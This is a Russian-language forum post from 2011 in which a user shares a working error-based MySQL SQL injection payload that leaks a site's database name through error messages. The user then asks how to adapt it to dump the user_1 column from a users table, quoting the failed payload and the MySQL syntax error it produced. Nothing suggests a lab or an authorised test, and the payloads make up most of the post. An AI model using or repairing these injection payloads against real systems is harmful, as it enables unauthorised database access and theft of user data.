Показать сообщение отдельно

  #5  
Старый 05.07.2011, 22:11
swad
Новичок
Регистрация: 14.11.2009
Сообщений: 5
С нами: 8678819

Репутация: 0
По умолчанию

Использую конструкцию:

Цитата:
Сообщение от None  
-1' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(
DATABASE()
, 1, 63), FLOOR(RAND(0)*2))) --
В ошибке на странице выдаёт название базы данных.

Пытаюсь применить эту конструкцию для другого запроса:

Цитата:
Сообщение от None  
-1' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(
SELECT user_1 FROM users
, 1, 63), FLOOR(RAND(0)*2))) --
Выдаёт ошибку, но команду не выполняет:

Цитата:
Сообщение от None  
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECT user_1 FROM users, 1, 63), FLOOR(RAND(0)*2))) -- '' at line 1
В итоге возникает вопрос. Как заставить выполниться команду

Цитата:
Сообщение от None  
SELECT user_1 FROM users
Название столбца и таблицы точно эти.
 
Ответить с цитированием